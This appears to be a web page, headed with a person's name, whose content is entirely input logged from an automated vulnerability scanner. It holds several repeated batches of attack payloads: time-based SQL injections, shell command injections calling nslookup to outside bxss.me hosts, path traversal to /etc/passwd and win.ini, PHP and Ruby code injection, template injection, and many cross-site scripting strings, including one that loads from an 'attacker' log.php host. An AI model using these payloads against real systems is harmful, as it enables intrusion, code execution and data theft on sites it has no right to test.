Christian Bassil

555

555

555

-1 OR 2+865-865-1=0+0+0+1 --

-1 OR 2+871-871-1=0+0+0+1

-1' OR 2+372-372-1=0+0+0+1 --

-1' OR 2+802-802-1=0+0+0+1 or 'odwXiP2t'='

-1" OR 2+644-644-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

GkdFuOnV'; waitfor delay '0:0:15' --

3LdwV9zn'); waitfor delay '0:0:15' --

gQraTDjq')); waitfor delay '0:0:15' --

-5 OR 947=(SELECT 947 FROM PG_SLEEP(15))--

-5) OR 288=(SELECT 288 FROM PG_SLEEP(15))--

-1)) OR 119=(SELECT 119 FROM PG_SLEEP(15))--

UeCkBH8f' OR 997=(SELECT 997 FROM PG_SLEEP(15))--

8peEc4hn') OR 690=(SELECT 690 FROM PG_SLEEP(15))--

gh75zH8E')) OR 975=(SELECT 975 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@WOBPZ

555

555

555

555

555

response.write(9916368*9647809)

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo gcljij$()\ nfiaik\nz^xyu||a #' &echo gcljij$()\ nfiaik\nz^xyu||a #|" &echo gcljij$()\ nfiaik\nz^xyu||a #

'+response.write(9916368*9647809)+'

&echo mmcbfy$()\ xhjeym\nz^xyu||a #' &echo mmcbfy$()\ xhjeym\nz^xyu||a #|" &echo mmcbfy$()\ xhjeym\nz^xyu||a #

"+response.write(9916368*9647809)+"

|echo escjgt$()\ wmtrvj\nz^xyu||a #' |echo escjgt$()\ wmtrvj\nz^xyu||a #|" |echo escjgt$()\ wmtrvj\nz^xyu||a #

bbKOaHaW

(nslookup hitzrowfqxrbmf4dba.bxss.me||perl -e "gethostbyname('hitzrowfqxrbmf4dba.bxss.me')")

$(nslookup hiteozhtscgyne74c2.bxss.me||perl -e "gethostbyname('hiteozhtscgyne74c2.bxss.me')")

&(nslookup hitgbxzsfwwgeed9d1.bxss.me||perl -e "gethostbyname('hitgbxzsfwwgeed9d1.bxss.me')")&'\"`0&(nslookup hitgbxzsfwwgeed9d1.bxss.me||perl -e "gethostbyname('hitgbxzsfwwgeed9d1.bxss.me')")&`'

../../../../../../../../../../../../../../etc/passwd

|(nslookup hityfxfvjzydra8373.bxss.me||perl -e "gethostbyname('hityfxfvjzydra8373.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

`(nslookup hitrgjyxlroxtb63a5.bxss.me||perl -e "gethostbyname('hitrgjyxlroxtb63a5.bxss.me')")`

555

;(nslookup hitjpexjdhxqo93ecb.bxss.me||perl -e "gethostbyname('hitjpexjdhxqo93ecb.bxss.me')")|(nslookup hitjpexjdhxqo93ecb.bxss.me||perl -e "gethostbyname('hitjpexjdhxqo93ecb.bxss.me')")&(nslookup hitjpexjdhxqo93ecb.bxss.me||perl -e "gethostbyname('hitjpexjdhxqo93ecb.bxss.me')")

../555

555<esi:include src="http://bxss.me/rpb.png"/>

${9999082+10000401}

555

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555&n919932=v902528

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

555

)

bxss.me

!(()&&!|*|*|

555

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hityi'.'mhvakxkh0930c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(68).chr(116).chr(75).'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

".gethostbyname(lc("hitsm"."uuuasqpsae5da.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(69).chr(109).chr(67)."

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

HttP://bxss.me/t/xss.html?%00

${@print(md5(31337))}\

"+"A".concat(70-3).concat(22*4).concat(110).concat(78).concat(108).concat(83)+(require"socket"
Socket.gethostbyname("hitay"+"abbtffsp72e99.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

'.print(md5(31337)).'

'+'A'.concat(70-3).concat(22*4).concat(108).concat(77).concat(120).concat(81)+(require'socket'
Socket.gethostbyname('hitsk'+'ifqqtdyg32117.bxss.me.')[3].to_s)+'

christian-bassil

/xfs.bxss.me

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

christian-bassil/.

'"

<!--

555'"()&%<acx><ScRiPt >7yGm(9262)</ScRiPt>

1mpKHhTdQO

'"()&%<acx><ScRiPt >7yGm(9414)</ScRiPt>

5559708398

acu3830＜s1﹥s2ʺs3ʹuca3830

acux4996%C0%BEz1%C0%BCz2a%90bcxuca4996

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >7yGm(9733)</ScRiPt>

555<W4SOPY>386PN[!+!]</W4SOPY>

555<script>7yGm(9035)</script>

555<ScR<ScRiPt>IpT>7yGm(9120)</sCr<ScRiPt>IpT>

555<ScRiPt
>7yGm(9374)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9280></ScRiPt>

555<isindex type=image src=1 onerror=7yGm(9040)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9811'>

555<body onload=7yGm(9244)>

555<img src=//xss.bxss.me/t/dot.gif onload=7yGm(9390)>

555<img src=xyz OnErRor=7yGm(9377)>

555<img/src=">" onerror=alert(9180)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%79%47%6D%289441%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\7yGm(9214)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;7yGm(9961)&lt;/sCripT&gt;

%F6<img acu onmouseover=7yGm(98951) //%F6>

555<input autofocus onfocus=7yGm(9504)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(7yGm(9064))}

555<% contenteditable onresize=7yGm(9741)>

555YIWwF
<ScRiPt >7yGm(9094)</ScRiPt>

555<WDRFDN>QYJHX[!+!]</WDRFDN>

555<ifRAme sRc=9669.com></IfRamE>

555<xP9SGs x=9127>

555<img sRc='http://attacker-9523/log.php?

555<DlkKez<

555

555

555

555'"()&%<acx><ScRiPt >ykI7(9540)</ScRiPt>

555

response.write(9263635*9641197)

'"()&%<acx><ScRiPt >ykI7(9099)</ScRiPt>

/../../../../../../../../../../windows/system32/BITSADMIN.exe

'+response.write(9263635*9641197)+'

"+response.write(9263635*9641197)+"

555

echo dykzmu$()\ zquwfr\nz^xyu||a #' &echo dykzmu$()\ zquwfr\nz^xyu||a #|" &echo dykzmu$()\ zquwfr\nz^xyu||a #

A9t0ak3v

5559341001

&echo rpnzwl$()\ hpobnb\nz^xyu||a #' &echo rpnzwl$()\ hpobnb\nz^xyu||a #|" &echo rpnzwl$()\ hpobnb\nz^xyu||a #

555

|echo uljcve$()\ yblewd\nz^xyu||a #' |echo uljcve$()\ yblewd\nz^xyu||a #|" |echo uljcve$()\ yblewd\nz^xyu||a #

555

../../../../../../../../../../../../../../etc/passwd

(nslookup hitjwurrnqchxd5a3a.bxss.me||perl -e "gethostbyname('hitjwurrnqchxd5a3a.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

$(nslookup hitmdzgkstqgoe5f00.bxss.me||perl -e "gethostbyname('hitmdzgkstqgoe5f00.bxss.me')")

555

&(nslookup hitfrtbgklflk02379.bxss.me||perl -e "gethostbyname('hitfrtbgklflk02379.bxss.me')")&'\"`0&(nslookup hitfrtbgklflk02379.bxss.me||perl -e "gethostbyname('hitfrtbgklflk02379.bxss.me')")&`'

555<esi:include src="http://bxss.me/rpb.png"/>

../555

|(nslookup hitkevyvksbcsfbf5d.bxss.me||perl -e "gethostbyname('hitkevyvksbcsfbf5d.bxss.me')")

555

${9999213+10000420}

`(nslookup hitvpngkceteg4b4c6.bxss.me||perl -e "gethostbyname('hitvpngkceteg4b4c6.bxss.me')")`

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

;(nslookup hitcdcqigntitfb99a.bxss.me||perl -e "gethostbyname('hitcdcqigntitfb99a.bxss.me')")|(nslookup hitcdcqigntitfb99a.bxss.me||perl -e "gethostbyname('hitcdcqigntitfb99a.bxss.me')")&(nslookup hitcdcqigntitfb99a.bxss.me||perl -e "gethostbyname('hitcdcqigntitfb99a.bxss.me')")

555&n997432=v932007

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

)

555

555

!(()&&!|*|*|

bxss.me

^(#$!@#$)(()))******

555

'.gethostbyname(lc('hitdu'.'ugumnwfb60c23.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(68).chr(104).chr(78).'

'"()

".gethostbyname(lc("hitnk"."digqijje19d37.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(81).chr(117).chr(83)."

-1 OR 2+821-821-1=0+0+0+1 --

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

-1 OR 2+790-790-1=0+0+0+1

';print(md5(31337));$a='

-1' OR 2+169-169-1=0+0+0+1 --

";print(md5(31337));$a="

HttP://bxss.me/t/xss.html?%00

-1' OR 2+148-148-1=0+0+0+1 or 'Ou4b5xPW'='

${@print(md5(31337))}

christian-bassil

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(113).concat(69).concat(115).concat(86)+(require"socket"
Socket.gethostbyname("hitux"+"sinkmcbqd9bca.bxss.me.")[3].to_s)+"

-1" OR 2+648-648-1=0+0+0+1 --

${@print(md5(31337))}\

'+'A'.concat(70-3).concat(22*4).concat(97).concat(82).concat(111).concat(90)+(require'socket'
Socket.gethostbyname('hitbw'+'aejzpzlsce50f.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

christian-bassil/.

/xfs.bxss.me

'"

<!--

555'"()&%<acx><ScRiPt >gQQf(9170)</ScRiPt>

'"()&%<acx><ScRiPt >gQQf(9102)</ScRiPt>

if(now()=sysdate(),sleep(15),0)

5559504517

acu7027＜s1﹥s2ʺs3ʹuca7027

acux5150%C0%BEz1%C0%BCz2a%90bcxuca5150

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >gQQf(9831)</ScRiPt>

555<WXFM3K>EEXK4[!+!]</WXFM3K>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555<script>gQQf(9181)</script>

555<ScR<ScRiPt>IpT>gQQf(9345)</sCr<ScRiPt>IpT>

555<ScRiPt
>gQQf(9295)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9560></ScRiPt>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<isindex type=image src=1 onerror=gQQf(9481)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9490'>

555<body onload=gQQf(9505)>

555<img src=//xss.bxss.me/t/dot.gif onload=gQQf(9603)>

555<img src=xyz OnErRor=gQQf(9030)>

555<img/src=">" onerror=alert(9602)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%67%51%51%66%289601%29%3C%2F%73%43%72%69%70%54%3E

-1; waitfor delay '0:0:15' --

555\u003CScRiPt\gQQf(9633)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;gQQf(9701)&lt;/sCripT&gt;

%F6<img acu onmouseover=gQQf(93641) //%F6>

555<input autofocus onfocus=gQQf(9303)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(gQQf(9654))}

-1); waitfor delay '0:0:15' --

555<% contenteditable onresize=gQQf(9371)>

555H7i6t
<ScRiPt >gQQf(9425)</ScRiPt>

555<WVJEXN>V9J4J[!+!]</WVJEXN>

555<ifRAme sRc=9535.com></IfRamE>

555<gNpVOm x=9014>

555<img sRc='http://attacker-9455/log.php?

555<oPV5CH<

-1)); waitfor delay '0:0:15' --

555

555

1 waitfor delay '0:0:15' --

jZwrWkYx'; waitfor delay '0:0:15' --

nZT1gvab'); waitfor delay '0:0:15' --

DhNTdtpq')); waitfor delay '0:0:15' --

-5 OR 618=(SELECT 618 FROM PG_SLEEP(15))--

-5) OR 385=(SELECT 385 FROM PG_SLEEP(15))--

-1)) OR 934=(SELECT 934 FROM PG_SLEEP(15))--

0ssiMBhL' OR 205=(SELECT 205 FROM PG_SLEEP(15))--

TGUFHcnf') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

MitokUVT')) OR 665=(SELECT 665 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@oTIYm

555

555

555

555

555

555

555'"()&%<acx><ScRiPt >hQnb(9106)</ScRiPt>

'"()&%<acx><ScRiPt >hQnb(9047)</ScRiPt>

5559937720

acu1374＜s1﹥s2ʺs3ʹuca1374

acux3352%C0%BEz1%C0%BCz2a%90bcxuca3352

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >hQnb(9685)</ScRiPt>

555<WWGS4K>MR42V[!+!]</WWGS4K>

555<script>hQnb(9929)</script>

555<ScR<ScRiPt>IpT>hQnb(9124)</sCr<ScRiPt>IpT>

555<ScRiPt
>hQnb(9311)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9973></ScRiPt>

555<isindex type=image src=1 onerror=hQnb(9439)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9090'>

555<body onload=hQnb(9088)>

555<img src=//xss.bxss.me/t/dot.gif onload=hQnb(9339)>

555<img src=xyz OnErRor=hQnb(9461)>

555<img/src=">" onerror=alert(9994)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%51%6E%62%289140%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\hQnb(9173)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;hQnb(9621)&lt;/sCripT&gt;

%F6<img acu onmouseover=hQnb(97521) //%F6>

555<input autofocus onfocus=hQnb(9988)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(hQnb(9786))}

555<% contenteditable onresize=hQnb(9326)>

5554DXU5
<ScRiPt >hQnb(9288)</ScRiPt>

555<WGMWYH>GFGVR[!+!]</WGMWYH>

555<ifRAme sRc=9001.com></IfRamE>

555<idOFKA x=9366>

555<img sRc='http://attacker-9613/log.php?

555<ha8Uwr<

555'"()&%<acx><ScRiPt >849T(9105)</ScRiPt>

'"()&%<acx><ScRiPt >849T(9047)</ScRiPt>

5559167422

acu8642＜s1﹥s2ʺs3ʹuca8642

acux6496%C0%BEz1%C0%BCz2a%90bcxuca6496

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >849T(9245)</ScRiPt>

555<WXEU3I>0SGG1[!+!]</WXEU3I>

555<script>849T(9025)</script>

555<ScR<ScRiPt>IpT>849T(9224)</sCr<ScRiPt>IpT>

555<ScRiPt
>849T(9409)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9996></ScRiPt>

555<isindex type=image src=1 onerror=849T(9603)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9604'>

555<body onload=849T(9617)>

555<img src=//xss.bxss.me/t/dot.gif onload=849T(9612)>

555<img src=xyz OnErRor=849T(9274)>

555<img/src=">" onerror=alert(9204)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%38%34%39%54%289301%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\849T(9193)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;849T(9083)&lt;/sCripT&gt;

%F6<img acu onmouseover=849T(91831) //%F6>

555<input autofocus onfocus=849T(9853)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(849T(9155))}

555<% contenteditable onresize=849T(9271)>

555Y8l8C
<ScRiPt >849T(9711)</ScRiPt>

555<WFYBPX>51FNZ[!+!]</WFYBPX>

555<ifRAme sRc=9319.com></IfRamE>

555<AhWgUv x=9743>

555<img sRc='http://attacker-9316/log.php?

555<yqLg1d<